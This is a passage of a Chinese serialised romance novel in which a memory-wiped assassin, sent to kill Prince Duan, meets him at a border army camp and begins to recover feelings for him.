瀑布飞溅出来一阵冰凉的水雾,魏沛鸾深吸一口这带着湿意的寒气,强行将心底翻涌的烦闷压下去。沉默片刻,她终于再次开口:“副阁主觉得,我如今该作何打算?”
“想必阁主已然告知于你。”柳文星负手而立,目光投向这山间翻涌的云海,侧脸轮廓在雾气中显得格外平静,甚至带着几分冷漠,“你问我,不过是在奢望,我这里有更好的答案罢了。”
被一语道破心事,魏沛鸾神色微动。
的确,他说的不错。
既然柳文星说李京熠已回到北苍城中,那么他是否还会到影阁来?
阁主说的那一番话,又是何意?
柳文星眼角的余光捕捉到她眉宇间的忧愁与焦急,淡淡道:“你太心急了。”
她是心急了。
但身在影阁之中,无法洞察外界的一切消息,尤其是关于李京熠的一切,她都无法得知。李京熠虽已回到了北苍城,但是他在做什么呢?是与朝堂有关?还是就此决定不再需要她了?
脑袋里的思绪犹如一团捋不清的乱麻,乱糟糟的,越想理清越是杂乱不堪。
她狠狠皱着眉头,脑袋里那一团乱麻般的思绪无论如何都舒展不开。
“小九,你这般在意端王,迟早会让阁主对你有所行动。”柳文星望着眼前之人,她虽与从前大不相同,但她终究还是她。柳文星无法做到袖手旁观,不得不善意地提醒了一句,“你千万要小心。”
闻言,魏沛鸾一脸疑惑地看向他,很是不解,“我会死?”
“不。”柳文星缓缓摇头,语气十分沉重,“是比死更煎熬的境地。”
话音未落,悬在头顶上的那一把利剑骤然应声而落,直直地刺入魏沛鸾的脑海深处,像是要将她的记忆劈成两半。
剧烈的疼痛如潮水般涌来,突如其来的疼痛使她脚下不稳,不由自主地退后了半步,意识即将被黑暗吞噬之前,她跌进了一个温暖却又极其陌生的怀抱。
-
梦境混沌,迷雾重重。
她在虚无中恍惚前行,视线尽头,是一个男人模糊的身影。
那轮廓似乎刻在灵魂深处,熟悉得令人心颤。可无论她如何睁大眼睛去看,那人的面容似乎总是被一层薄纱掩着,看不真切。
一股莫名的恐惧突然扼住了她。
她急切地想要跑向那个人,可是双脚仿佛灌了铅,犹如千斤重。无论她怎么努力,都无法向前一步。
她想开口呼喊那个男人的名字,想要让他将自己救出这泥潭,可她无力地张了张口,连那个男人的名字都记不起。
她眼睁睁地看着那个男人渐行渐远,那唯一的光亮也在随着他的脚步渐行渐远。
直到那一抹光亮彻底消失,她的身体瞬间往下坠落,连一声呼救都无法从喉咙里发出,便在猛然间惊醒。
“啊!”
她大口喘息着,惊恐地瞪大了双眼,视线慌乱地将四周扫视一圈,直到看清那个正在一旁低头捣药的身影,神经才稍微放松。
“你可算醒了。”影六听见响动,赶忙抬头看向她。
“六姐?”她声音沙哑,带着一丝细微的颤抖,“我这是怎么了?”
影六放下手中的药杵,起身走到床前,静静地注视了她一会儿,随后在床沿坐下,一言未发,开始为她把脉。
诊脉良久,影六才缓缓将她松开,神色凝重道:“你现在感觉身子如何?”
她活动了一下四肢,除了感到有些沉重疲惫之外,倒是也没其他不对劲。只不过,脑袋中那一阵刺痛感挥之不去,一旦她试图去想起梦中那个男人的脸,脑袋里便刺痛难忍。
影六看出她的意图,连忙伸手按住她的肩膀,“不要去想不该想起来的事情,这是阁主的意思,她也是为了你好。”
“阁主的意思?”她虽满心疑惑,但既然是阁主的命令,她不敢违抗,“我昏睡了多久?”
“不久,才三日罢了。”
“三日?”她喃喃自语,望着眼前熟悉又陌生的地方,总觉得脑海中像是缺少了一块记忆,像是被人生生剜去了,空落落的。
可究竟是什么呢?总想不起来。
一旦她试图去想,就头疼得厉害,逼得她不得不放弃。
“我为何会突然晕倒?”她困惑地看向影六,记忆还停留在与柳文星交谈的那一幕。再一睁开眼,竟然已是三日后。
影六闻言,脸色微变,欲言又止。
她警觉地往屋外瞥了一眼,确认四下无人之后,这才压低了声音开口道:“这是阁主的意思,任何人不得忤逆。其中的细节,我无权过问,也不便告知于你。你只需知道,你是影阁中的影九,不再是其他人。你只要完成你的任务即可,阁主自然不会为难你。”
“你这话是何意?”她眉头紧锁,满脑袋疑惑,很是不解地反问道:“我本就是影九,否则我还能是谁?”
此话一出,影六的脸色瞬间变得煞白。但很快,她镇定下来,目光复杂地看了眼影九,缓缓点头道:“不错,你是影九。那你可还记得,你的任务是什么?”
她只觉得脑海中闪过一道模糊的指令,似乎是要杀端王?
“杀端王。”她脱口而出。
听到这三个字,影六舒展开紧锁的眉头,神色略显欣慰,“不错,确实是杀端王。但你如今武功尽失,想要杀端王,恐怕有些难。”
关于端王的记忆,此刻在她脑海中仅仅只剩下“端王”这两个字而已。
那人的音容笑貌、举手投足,竟像是被笼罩上了一层挥散不去的薄雾,半点看不清,记不起。
她越是焦灼地想要探究脑海中的记忆,更是头痛欲裂。
“别想了。”影六
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见她实在痛苦,终究不忍再看,出声阻拦。
这毒是她亲手下的,见同门这般痛苦不堪,影六也于心不忍,很是愧疚。
可在这影阁之中,谁敢违抗阁主之令?
为了让她彻底忘掉那一段情,为了让她更好地完成任务,影六不得不这么做。
她疼得额头上冒出一层细密的汗珠,连惨白的手指都忍不住蜷缩着发抖。
“端王是个冷酷无情的畜生!”影六咬紧了牙关,硬生生挤出这些编造的谎言,“在他强占了你,让你怀了他的骨肉之后,便将你抛弃!他这样的人,死一万次都不可惜!”
每一个字,都像是在刀尖上行走。
影六几乎是掐着手掌心说出来的这些话,否则,这悲愤的模样她表现不出来。她必须要让影九相信,否则,她们两个必死无疑。
影九呆愣楞地听着,眼神空洞,没了聚焦。
她张了张苍白的嘴唇,喉咙里像是堵着一团浸了水的棉花,发不出半点声音。
强占?身孕?被抛弃?
真是荒谬!
她可是影阁杀手,杀伐果断,怎会与端王相识?
端王既然让她怀上孩子,为何不斩草除根,反而留着她的性命?
难道,端王是个冷血无情的登徒子?
脑袋里的疑问如雨后春笋疯长,一个接一个地冒出来,却得不到合理的答案,反而加剧了头痛。
影六见状,强压下心头的慌乱,倒了杯水递到她手边,柔声安抚道:“别多想,那些都是过往的噩梦。你只要记住,完成你的任务即可。影阁,永远都是你的家。”
她将杯中的水一饮而尽,想要借助这一杯水来浇灭内心的焦躁与不安。
脑海中缺失的记忆,难道是关于端王的?
端王给她造成了很大的伤害,所以阁主不想让她记起?
难怪,影六会说阁主是为了她好。
“那我何时下山?”
“再休养两日,听从阁主安排便是。”影六见她神情逐渐镇定下来,暗自松了口气。她在神仙谷修习的都是悬壶济世的医道,给同门下毒,于她而言真是少有。
影六虽然不安,但只要影九顺利完成任务,就有机会救出被困的影七。
这么一想,心里反而好受些了。
喝过水后,身上倒是有些力气了。影九掀开被子欲下床,影六连忙小心搀扶。
“你要去哪儿?可是饿了?”影六轻声问道。
“嗯。”影九应了一声,在影六的搀扶下缓缓走到桌子边坐下,目光不经意往窗外扫了一眼,“六姐,现在是什么时辰?”
“快到午时了,我去膳堂拿些饭菜过来,你先吃些点心垫垫肚子。”
“多谢六姐。”
影九拿起桌上的点心往嘴里塞,慢慢咀嚼着。那香甜的滋味在舌尖化开。奇怪的是,一旦不再去想有关于端王的事,脑袋还真是不疼了。
然而,当她的目光落在自己那双曾握惯刀剑、如今却连点心盘子都拿不稳的手上时,一抹忧虑悄然爬上眉梢。
武功尽失,形同废人,又该如何向那个权倾朝野的端王复仇?如何去完成那看似天方夜谭的任务?
阁主究竟意欲何为?
43. 第43章
影九在影阁之中静心休养了两日,这两日里,阁主始终未再露面,仿佛将她遗忘了一般。
倒是副阁主柳文星,总是唤她去枕石居。
那一日她晕倒时,柳文星分明就在她身旁,他是否知道些内情?
比如,她为何晕倒之后,便觉得记忆缺失了一块?
“小九,这一招式,手臂要打直。”柳文星的声音冷不丁在耳边炸响,紧接着,一柄折扇重重敲在她的手臂上。
影九恍然回过神来,将酸软的手臂再次用力伸直。
日头正盛,如烈火般灼烧着她的每一寸肌肤。汗水顺着她的下巴滴落,砸在滚烫的青石板上。
“我让你练这几招,也并非是要让你回到从前的巅峰。但这几招粗浅的防身招式,你为何学了整整两日还是不得章法?”柳文星的声音里带着焦躁,像是在极力压制着心中的怒火。
影九紧紧抿着唇,像是在跟自己这副不争气的身子较劲,又像是在与那段空白的记忆较劲,始终沉默不语,并不答柳文星的话。
柳文星轻叹一口气,像是对她这副倔强的模样无可奈何,转身拂袖,径直走去廊下阴凉处,“你若是再这般心不在焉,那便一直在日头下站着,晚膳别想吃了。”
影九的手在微微颤抖,脑袋晕乎乎的。
她并非不愿学,而是脑海中的空洞实在太过骇人。那缺失的一大块记忆,像是一道深不见底的鸿沟,横亘在她与过去之间。
而那鸿沟的彼岸,似乎正连着那个叫“端王”的名字。
在影阁中,除了她之外,似乎所有人都知道她缺失的那一块记忆是什么,只有她蒙在鼓里。
他们偏偏不告诉她实情,故意对她有所隐瞒。
几日前她醒来时,影六与她说的那些话,她猜测或许是半真半假。当时头疼得让她焦躁不安,并未对那些话提出太多质疑,如今细想,漏洞百出。
“副阁主。”她终于开口,声音沙哑,带着一丝压抑已久的委屈与质问,“为何连你,也不愿告知于我?”
“这一次,你就听阁主的吧,她真的是为你好。”
短短两日,这句话她已听过太多次。
人人都说是为了她好,可为何不由她自己判断呢?
她忘却的那些事,真的全都是痛苦的吗?
“所以,我无法从你们嘴里听到真正的答案,对不对?”
柳文星手中的折扇缓缓收拢,发出轻微的“啪”一声,随即陷入沉默,仿佛是默认了她的质问。
影九痛苦地闭上双眼,汗水已经浸湿衣裳。她可以不在日头底下站着,可心里就是憋着一股气,不吐不快。
但那口气吐不出来,更顺不下去,哽在喉间,进退两难。
柳文星的眉头紧锁,显然已被影九问得心烦意乱。最终,他只冷冷地丢下一句,“你什么时候不再较劲了,便什么时候歇息。”话音一落,他转身进去屋里,“砰”地一声关上了门。
影九依然紧闭双眼,试图屏蔽这外界的一切干扰。可当视线一旦被隔绝掉,思绪却窜走地飞快,更加让她不得安宁。
她抬手擦掉脸上的汗珠,长长地呼出一口气,试图平复翻涌不宁的心绪。
约莫半刻钟之后,她终于走去廊下阴凉处,可谁知才刚挨着凳子,屋内便传来冰冷的一声警告,“想通了才能休息,想不通,便继续去站着。”
影九紧咬牙关,偏偏不予理会,只当没听见。
柳文星本以为她是身子不适才不作声,心头一紧,连忙推开门,大步走到她身旁,语气急切地询问道:“怎么了?”
影九确实是身子有些不适,但比起身子不适,心里窝着火,那一团火气更大些。
她不言语,也不去看身旁的柳文星。
见她这副倔强的模样,柳文星无奈地叹了口气,那叹息里有有几分疲惫与无可奈何,“小九,何必呢?总而言之,影阁才是你的家。阁主虽平日里对你严厉,但大都时候,也都是为了你好。”
“为了我好?”影九冷笑一声,侧过头直视他,那双明亮好看的眸子里满是不加掩饰的讥讽与倔强,“若是我说,我武功太差,无法完成此次任务呢?阁主会答应吗?我于影阁而言已是废人一个,阁中不会留着我这么一个废人,阁主也不会允许这次任务失败。既如此,为何不让我得知这事情的原委?难道,让我像一个提线木偶一样去送死,便是为我好?”
柳文星静静地望着她,好半晌都没开口说话。
那沉默极具压迫性,直逼得影九心虚地躲开他的视线。直到她垂下眼帘,他才缓缓开口,声音低沉而笃定,“这便是问题所在。”
影九眯着眼睛,试图去捕捉那刺眼的烈日,却被晃得头晕眼花,最终只好无奈地闭上双眼,以此来掩饰心中的慌乱,“你不要打哑谜了。”
柳文星倚在廊柱上,姿态慵懒随意,仿佛是在诉说一件于己无关的闲话,“你已与从前大不相同,不论是谈吐还是性格。从前你在影阁之中接受的杀手训练,你也都忘得一干二净。世间繁杂事太多,说来说去,不外乎是儿女情长。”
话音落下,点到为止。
这话听得人云里雾里,但影九已经听出来个大概。
这件事,与她猜测得差不多。
她既然已怀有端王的孩子,又怎会留着这个孩子,并且还回到了影阁呢?
想必,从前的她,也是舍不得这个孩子,所以才不让这个孩子消失。
她与端王之间,绝不像影六说的那么简单。
见她沉默不语,柳文星猜想她已然琢磨透了几分真相,于是郑重地提醒道:“你心里清楚就好,但不可与外人说起,更不能在阁主面前露了马脚。”
影九缓缓抬起头,瞥了他一眼。眼中的怒气与倔强终于平息下来,取而代之的是一抹深藏的疲惫与淡然,“放心,阁主这两日都未曾召见我。”
“阁主……怕是也无暇顾及你。”说完这句让人摸不着头脑的话,柳文星便转身回了屋,只留给她一个决绝的背影。
影九转头去看那扇紧闭的房门,过了良久,才撑着膝盖缓缓起身,随后抬脚走出了枕石居。
-
被柳文星逼着修习了几日,影九觉得身子骨倒
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是强健了不少。
影六给她把脉时,也说她的身子在逐渐好转。
在影阁中又待了几日,影九敏锐地察觉到,除了影六与柳文星之外,其余人鲜少与她交流。
她心知肚明,猜测这定是阁主的意思。
无论是在膳堂用膳时,亦或是迎面撞见谁,但凡影九想要与之攀谈,那人便像是脚底抹油,飞快地跑开。
阁主为了让她能够尽心尽力地去完成任务,还真是煞费苦心,甚至不惜将她孤立至此。
正当她百无聊赖时,影六突然来传话,说阁主要见她。
终于能见到阁主,这不失为一个很绝佳的机会。
她心中有太多疑问,都想得到答案。
但要想从阁主口中听到答案,却不是一件简单的事。
步入正厅,一个肃杀之气扑面而来。
阁主正背对着她,身形挺拔如松,周身散发着一股令人窒息的压迫感。
影九连忙躬身抱拳,恭敬行礼,“属下影九,拜见阁主。”
阁主缓缓转过身,冰冷的视线将她上下打量一番,平静开口:“是时候了。”
是时候了?
什么意思?
影九心中一紧,眉头微蹙,思索半晌后,试探着问道:“阁主的意思是……我可以下山了?”
“嗯。”
这个消息于影九而言无异于是个天大的好消息,在影阁这么多日,终于可以下山了。
“但,这次任务,只许成功,不许失败。”
闻言,影九仿佛被浇了一大盆冷水,脸上的笑容瞬间凝固。
这是何意?
阁主的意思是,必须杀掉端王?
影九努力镇定飘忽不定的思绪,强忍着颤抖的声音问:“那……属下要去何处寻他?”
“军营。”
“军营?”影九很是不解,难道端王在外领兵打仗?
“岩州军营。”
“端王为何会在军营?我一个女子,又如何去到军营之中?”影九忍不住问出心中的疑惑。
然而,阁主显然无意多言,骤然冷声道:“你只需去到岩州军营,杀了端王即可。”
言下之意,这些疑问,她无权知晓。
影九自知逾矩,连忙躬身抱拳,语气惶恐道:“属下失言,还望阁主恕罪!”
“既知失言,以后这样愚蠢的问题,便不要再问。”阁主的声音冰冷,不带一丝温度。
“属下知错!”影九连忙跪地,额头触碰到冰冷的地面,态度恭敬至极。
原以为可以从阁主的口中探听到一些消息,可谁知阁主的嘴更是密不透风,任何蛛丝马迹都寻不到。
“副阁主这几日教了你一些招式,学得任何?”
“属下愚笨,学得马马虎虎。”这个节骨眼上,影九自然是不敢有任何欺瞒。
闻言,阁主冷冷地扫了她一眼,“若是这次任务失败,你便自我了断吧,也不用再回来了。”说完,阁主拂袖而去,只留下一阵令人心寒的冷气。
影九再次伏地磕头,声音在发抖,“是。”
44. 第44章
岩州军营距离影阁不算太远,快马加鞭整整两日,便也就到了。
然而,影九疾驰一日后,在距离岩州还有一日路程时,突然慢了下来。
于她而言,如今已与常人无异。
更何况,腹中有了孩子。一日的马不停蹄,再加上夏日暑气蒸腾,她胃里翻江倒海,时常感觉恶心不止。好不容易在影阁养出的那些精气神,仅仅因为一日快马加鞭而被消耗殆尽。
她寻了处溪流边歇脚,待那一阵恶心好不容易平复下去,身上却早已被冷汗浸湿。
她将帕子在清凉的溪水中浸湿,拧干后擦了擦脸上的汗水,这才觉得身上舒爽了些。
离开影阁时,她并非孤身一人。
影六也与她一同下了山,因北苍城那边传来消息,影七已被救出,所以影六要立即赶去为她医治。
但下了山后,她与影六分道扬镳,各奔东西。
望着眼前连绵起伏的山峰,影九惆怅地叹了口气。
他们都让她去杀端王,可没有一个人跟她说端王是何模样。
她试图去想,可脑海中只余一片空白,头疼得厉害,总想不起来。
这个任务,该如何完成呢?
她喝了一口水,又拿出干粮细细嚼着,却味同嚼蜡。
眼前迷雾重重,道路艰难险阻,稍有不慎,便会粉身碎骨。
剩下的那一日路程,她走得愈发缓慢。
马背颠簸,她坐上去不过片刻,便承受不住,只得步行。
一路走走停停,过了三四日,影九才终于抵达岩州城。
岩州地处两国交界,商旅往来频繁,城内热闹喧嚣,大街上熙熙攘攘,人头攒动,与影阁的死寂大不相同。
影九牵着马,在城门前的一处茶摊落座,要了一碗解渴的凉茶和一碟能填饱肚子的枣花糕。
城门口来来往往的人很多,这里最能探听到自己想要的消息。
她浅啜一口茶水,余光密切留意隔壁桌的交谈。听来听去,还真听到他们在议论最近的战事。
影九咽下口中的枣花糕,刻意压低声音问道:“听闻此次是端王领兵?我之前怎么从未听说过北苍城里还有这样一位王爷?”
隔壁桌那二人闻言,狐疑地将她上下打量一番。其中一人摸着胡须,语气里带着几分诧异,“姑娘,我看你这装扮,应是我大渊人士,怎会不知端王的名号?”
被对方这么一问,影九一时被哽住,面上不显,强装镇定,露出一副天真懵懂的模样,“我从前生活在山上,鲜少接触外界事务。这一路走来,听到端王的名号叫得尤为响亮,所以心生好奇。”
见她一脸求知若渴,那人警惕心稍减,左右看了看,这才压低声音,神神秘秘地说道:“先帝还在时,端王骁勇善战,战无不胜,深得先帝喜爱。他虽不是正宫所出,却是先皇长子,当年朝野上下,谁人不知他是储君的不二人选?可谁知……唉!”
说到此处,那人惋惜地摇摇头,一副不便多言的模样。
影九听得心痒难耐,追问道:“这样说来,端王是个极好的人?”
这人说话说一半,影九很是好奇。
瞧见影九还有兴致听,那人清了清嗓子,索性打开了话匣子,继续说道:“自从新帝登基之后,端王也就不问政事了。这领兵打仗,更是再也没有。听说,是被新帝夺了兵符。这次为何会到岩州军营来,谁又知道?”
“岩州近日可有军情?”
“你瞧瞧这城门口。”说着,那人伸手指向熙熙攘攘、进进出出的人群,“若是战火连天,谁还会往城里跑?怕不是都逃命去了!就算真有军情,兴许也就是城外有几窝土匪罢了。杀鸡焉用牛刀?这等小事,又何必派端王来呢?”
影九越听越疑惑,既然岩州并无战事,端王为何来此?
她摩挲着茶杯边缘,仔细瞧着城门口进进出出的人群,的确不见半点慌乱,更不见有难民踪影。
更何况,她这一路走来,路上也很是太平,基本相安无事。
“大哥,听你这意思,是皇帝容不下端王,故意折腾他?”
“唉!”那人脸色一变,连忙摆手示意她噤声,“姑娘,这话可是要掉脑袋的!我可没说过,不过是胡诌几句而已!莫要当真!”
影九心领神会,尴尬地笑了笑,随即话锋一转,问道:“大哥,那你可知那端王婚配与否?长相如何?”
“哈哈!”闻言,那人大笑一声,“端王自然是玉树临风、风流倜傥、器宇不凡!听说,王府是住着一位王妃,只可惜美人多病,常年深居简出,鲜少有人见过她的真容。”
王妃?
影九皱眉,陷入了沉思。
“姑娘到这岩州城来,莫不是想一睹端王风采?”
影九神色坦然,微微颔首,“的确是想见一见,不知能去何处见到他?”
“这个……”那人略一沉吟,“我到岩州好几日了,还没听说端王进过城,兴许是在军营里吧。咱们普通老百姓,谁有这等福分见到?”
这么说来,想要见端王,恐怕十分不容易。
那她要怎么完成任务?
“姑娘,你若是实在想见,兴许可以去城外的河边碰碰运气。”那人压低了声音,语气里带着几分神秘,“前两日我听人说,有人在河边见到端王带着将士们在操练。只不过,那地方是军营外围,危险得很。万一被端王误以为是敌国奸细,一剑毙命,那也是有可能。”
“多谢相告。”影九道了声谢,心中已然有了对策。
事不宜迟,趁着天色还早,她打算去碰碰运气。
她将杯中茶水一饮而尽,又将剩下的几块糕点仔细包好,转身往城外河边去。
此时,日头已落了山,天边铺开一片绚烂的晚霞。影九不确定去河边是否能遇上端王,但她想着,今日不成,或许明日。
反正只要耐心等待,总能见到此次任务的目标。
行至河边,暮色四合,她站在岸边凝神片刻,随后将四周的环境扫视一圈。她竖起耳朵静静听着,并未听
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见马蹄声。
难道,今日他们不在此地操练?
她寻了一块干净的石头坐下,心里开始盘算。
是一见面就对端王动手,还是相处几日?从前,端王对待她,究竟是一副什么模样?
河面上水流湍急,天边的晚霞如朱砂,将河面染成一片赤红。
影九托着腮帮子,望着眼前这景色,无奈地叹了口气。做杀手做到她这个份儿上,满心迷茫,是不是糟糕透顶?
天渐渐黑了,河岸边愈发寂静,唯有偶尔从草丛中钻出的几只蟋蟀,蹦跳几下,随即又被茂密的草丛吞没。
她撑着膝盖,正准备起身返回岩州城,可才刚站直身子,一阵急促而凌乱的马蹄声便骤然划破了夜空。
听这阵仗,来的人还不少。
影九一惊,本能地想躲藏,慌乱间有些手足无措。
此时再想逃离,似乎为时已晚。
可是转念一想,自己为何要走?
她本就是来寻端王的,无论如何,都该见一面才对。于是,她平复下慌乱的心情,驻足原地,好奇地伸长脖子张望。
马蹄声逼近,尘土飞扬,影九一时间看不真切。
一阵夹杂着尘土气息的热浪扑面而来,让她有些犯恶心,不由得偏过头去,抬手捂着嘴。还不等她缓过劲儿来,一个声音穿透嘈杂,清晰地传入她的耳中。
“小九?”
那声音夹杂着惊愕、狂喜,还有一丝难以置信。
影九循声望去,只见一位容貌俊朗的男子已翻身下马,正疾步朝她走来。
刹那间,一阵剧烈的头痛袭来,她下意识往后退了两步。
“李……”
一个名字几乎要脱口而出,却像是被一双无形的手扼住了喉咙,怎么也叫不出声。
随着男人的脚步逼近,那压迫感让她痛苦不堪。影九慌乱且痛苦地别开脸去,失声喊道:“你站住!”
日思夜想的人终于出现在眼前,李京熠心中狂喜翻涌,几乎要冲破胸膛。
自从她在神仙谷凭空消失之后,他何尝没有动用一切力量去寻找?
神仙谷与影阁之间,不过隔着一条蜿蜒的水路。可那短短的距离,却成了他无法逾越的天堑。
那时,他刚接到北苍城传来的紧急旨意,勒令他即刻回朝复命。他已在京城之外流连多日,这本就引得龙颜不悦,皇帝寻了个无关紧要的由头,强制他折返。
当时他心急如焚,只盼着回京复命后能立刻折返神仙谷,将她寻回。
然而,事后细细思量,李炎之所以强召他回京,无非是忌惮他与影阁暗通款曲,威胁到他那来之不易的皇位。更恐惧他会以其人之道,还治其人之身。
于是,这营救她的计划,只能一再搁置,成了他心头挥之不去的痛。
“小九。”他再次轻唤她的名字,心疼的目光在她身上流连忘返,仿佛要将她消瘦的身影刻入心底,“你瘦了不少。”
影九沉默地听着,垂着眼帘,没有抬眼看他。
45. 第45章
“小九。”
李京熠又一次轻唤她的名字,声音里带着藏不住的温柔与善意,仿佛是在安抚一只受惊的幼鸟。
不过一月未见,她像是换了个人。面色苍白憔悴,眉宇间浮现出陌生的惶恐,瞧着让人捕捉不到一丝熟悉的气息。
与李京熠一道来的将士们见到如此景象,不等他一声令下,便已策马悄然离去。
眼下这静谧的河岸边,唯余他们二人。
影九死死攥着拳头,指甲深深掐进掌心里。她的心里很乱,在听见端王一声又一声呼唤她的名字时,更是乱的不得了。
她现在该怎么做?
是立刻将袖间的匕首掏出,冲上去杀了他吗?
不行,她现在手抖得厉害,根本无法做到快速上前去一刀把他杀了。
难道,她该回应一声吗?
可是,越靠近他,头就愈发疼痛。
撕裂般的疼痛,让她止不住额头冒汗。
“小九?”
长久的沉默惹得李京熠心慌,他忍不住上前两步,想离她近一些,想将她看得更加真切。
陌生的气息立刻钻入鼻腔,但她不反感,甚至觉得心安。内心的矛盾在拼命挣扎,还没有争论出来个结果。
她浓密的睫毛轻微颤抖,宛如两只振翅而飞的蝴蝶,在朦胧的夜色之中,凄美而惹人心碎。
“别怕,是我。”见她举止有异,李京熠眸光微敛,瞬间便察觉出不对劲。
她刚从影阁归来,那阁主心狠手辣、手段诡谲,又怎会轻易放她全身而退?
眼前之人,恐怕早已不是他记忆中的小九了。
她的恐惧,她的疏离,像一根根细针,密密麻麻地扎在他心上。
影九深呼吸一口气,努力控制身子不让自己抖得太厉害,内心挣扎了好久,才终于鼓起勇气,缓缓抬眸看向他。
他的眼底盛满了温柔,眉梢眼角皆是失而复得的狂喜,纯净得不染一丝杂质。
这样令人心软的神情,此刻正尽数落在她身上。
他因见到她而欣喜若狂,可这样一个人,真如阁主所言,是该死之人吗?
“我……我是影九。”她微微张开口,毫无血色的嘴唇一张一合,声音有些疲惫沙哑。
终于听到这熟悉的声音,李京熠脸上的笑意更深,连忙应声道:“我知道,我知道你是小九。”
眼前之人,确是端王无疑。
影九垂下眼帘,一时间仿佛有很多话堵在喉间,却不知从何处说起。
是该将所有的疑惑都问出,还是该快刀斩乱麻?
“我……在找你。”她目光扫过端王腰间的佩剑,认为此刻出手不是一个绝佳的机会,只能循序渐进,“我想见你。”
短短几个字,如山崩海啸,如惊雷炸响,瞬间朝着李京熠席卷狂奔而来。
眼前的人的确变了,变得胆小谨慎。
但这些,李京熠都不在乎。
他大步上前,猛地将她拥入怀中。精壮的手臂十分用力,像是要把她勒进胸腔里,像是要与她融为一体,再也不分离。
陌生的气息更加肆无忌惮地冲入她的鼻腔,在这一刻,她没有将他推开,而是任凭他抱着自己。被他一下一下拍着后背,她莫名感到安稳且舒心。
自己的感受不会骗人,她确实对端王有别样的情愫。
随着心脏猛烈的跳动,影九想要记起的事情更多,头痛却更是难忍,不得不推开了他。随后,她退后两步,与他隔开些距离。
她的脸上带着疏离与陌生,李京熠一时间居然有些愣住,没有上前,也不再有任何动作。
一个很不好的念头从他的脑海中一闪而过,他顿时冷了脸,沉声道:“小九,他们对你做了什么?”
影九紧紧抿着唇,不说话。看向他的那双眼睛里,有些惊恐与错愕。
从前在王府时,她从不会对他展现出这样的表情。哪怕他动怒,她都不会用这样陌生又恐惧的眼神望着他。
“小九,你还记得我吗?”
面前的人究竟是何方神圣?为何能一眼看出她的心思?
影九认真且仔细地看着他,随后坦诚地摇头,“他们只说,让我来找你。”
“找我?”影阁之人对她下达了这样的命令,唯有一个可能,便是杀他。
北苍城的天,马上就要变了。
没想到,影阁之人居然还看不清风向?
还是说,他那位身居九重宫阙的皇帝弟弟,还在天真地以为区区江湖杀手,便能取他性命?
“你是何时下山的?”
“五日前。”影九如实回答道。
“找了我很久?”李京熠的眼中闪过一丝心疼。
不知怎么的,她对眼前的人几乎不想有任何隐瞒。甚至,因为终于见到他,她莫名觉得开心。但她知道,这样的想法不对。
然而,此刻的她,的确没有能力杀他。
她缓缓摇头,声音轻得像是在叹息,“近日暑气蒸腾,怀着身孕的身子实在太过笨重,所以行路才慢了些。”
话音落下,李京熠瞳孔微震,狂喜如潮水般淹没了他眼底的阴郁。
孩子还在。
这短短几个字,胜过千言万语。
他的小九,终究是拼尽全力,护住了他们的血脉。
月光如练,倾洒在他脸上,那笑容瞬间绽开,璀璨夺目,仿佛驱散了连日来所有的阴霾与孤寂。
影九怔住,犹豫地问道:“你……为何如此高兴?是因为见到了我?”
“能再见到你,”他声音微颤,目光灼灼,“是我这些时日以来,唯一的、也是最大的幸事。”
那笑容太过热烈与真诚,毫无阴霾算计。影九望着他,竟无法生出一丝怀疑。
在影阁的那些时日,从未有人对她这样笑过。
刹那间,缺失的那一片记忆于她而言,似乎已经不重要了。眼前的人,他所给予的,是任何人无法替代的温暖与归属。
她情不自禁地向前一步,想要投入那阔别已久的怀抱。
可就在指尖即将触碰到他衣袖的刹那,连日奔波的疲惫与脑海中骤然袭来的剧痛,如惊涛骇浪般将她彻底吞噬。
双腿一软,世界天旋地转。
在意识坠入黑暗的前
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一瞬,她跌入了一个熟悉而温暖的怀抱。那怀抱,坚实得仿佛能承载她此生所有的风雨。
-
这一觉,影九睡得十分安稳。
在梦里,她听见有人轻唤她的名字。
那声音温柔动听,很是熟悉。
她费力地想要睁开眼睛去看,可是眼皮沉重,任凭她如何努力,都睁不开。
随着声音渐渐清晰,一股熟悉的气息渐渐钻入鼻间。她那颗小小的鼻尖痣随着她微微皱眉的动作颤了颤,在微亮的晨光中,竟显得格外美丽动人。
李京熠坐在床沿,摩挲着她消瘦的手背,满眼心疼地看着她。
她已睡了整整一夜,昨夜将她带回军营时,请军医来看过,说是因连日奔波劳累,再加上有孕,身子虚弱,情绪激动时,才一时晕了过去。
李京熠昨夜替她换下衣物,擦洗身子时,发现了她藏在袖间的匕首。这样危险的东西,他自然不会让她带在身上。
无论她准备那匕首是为了防身,还是为了杀他,李京熠都不会让她留着。
除了匕首之外,还有那几块糕点。那般粗劣的糕点,李京熠从前可从不会让她入口。
如今她有孕在身,便更不能随意吃外头的东西。
除了这些之外,李京熠还要寻大夫为她仔细把脉才安心。
影阁那种地方,多的是腌臜手段。想起昨日她见他时的状态,李京熠并不相信他们没有在她身上下功夫。
可这岩州军营之中,也不全都是他的人。
既然影阁派了影九来杀他,那么这军营之中,一定就还会有其他人想要他的性命。
天高皇帝远,可那皇帝,还是将手伸到了这里。
既如此,他便不能再等了。
“呃……”
床榻之上的影九动了动身子,终于是缓缓睁开了眼睛。
李京熠立刻紧紧地握住她的手,一扫而光脸上的沉闷阴郁,柔声问:“小九,你醒了?”
影九转动眼眸,好奇地将屋内的陈设布置扫视一圈,发现自己像是在营帐之中。等她看清面前人的脸,才惊觉昨日发生的一切都不是梦。
她真的见到了端王。
“我……”她才一出声,便觉得嗓子干哑,不适地轻咳了两声。
李京熠动作轻柔地将她扶起来,让她靠在自己怀里,随后伸手去拿放在床头的那杯水,凑到她苍白的唇边,出声提醒道:“慢慢喝。”
影九就着他的手喝下半杯水,润了润嗓子后,才重新开口:“我这是在哪儿?”
“军营。”李京熠放下水杯,将她如瀑的长发理到耳后,“你放心,在这里,没有人会伤害你。”
闻言,影九抬起头,一脸茫然地看向他。
难道他不知道,自己是来杀他的吗?
为何对她这般温柔,这般好?
见她这么看着自己,李京熠轻笑一声,宠溺地轻轻点了一下她的鼻尖,“小九为何这样看我?”
影九心虚地移开视线,手心里在冒汗。
端王对她,为何这般亲昵?
难不成,从前的自己与他,感情很好?
46. 第46章
“小九?”
李京熠目光如炬,瞬间捕捉到她眼中一闪而过的慌乱,语气微沉,步步紧逼地追问道:“怎么了?可是身子不适?”
影九低垂着眼眸,余光瞥见身上这陌生的衣裳,心头猛然一惊,发现衣裳已被换过,连忙推开他,惊恐道:“我的衣服!是你……”
她那双晶莹的眸子里写满了无措,宛如一头误入陷阱、不谙世事的小鹿,惊慌失措。
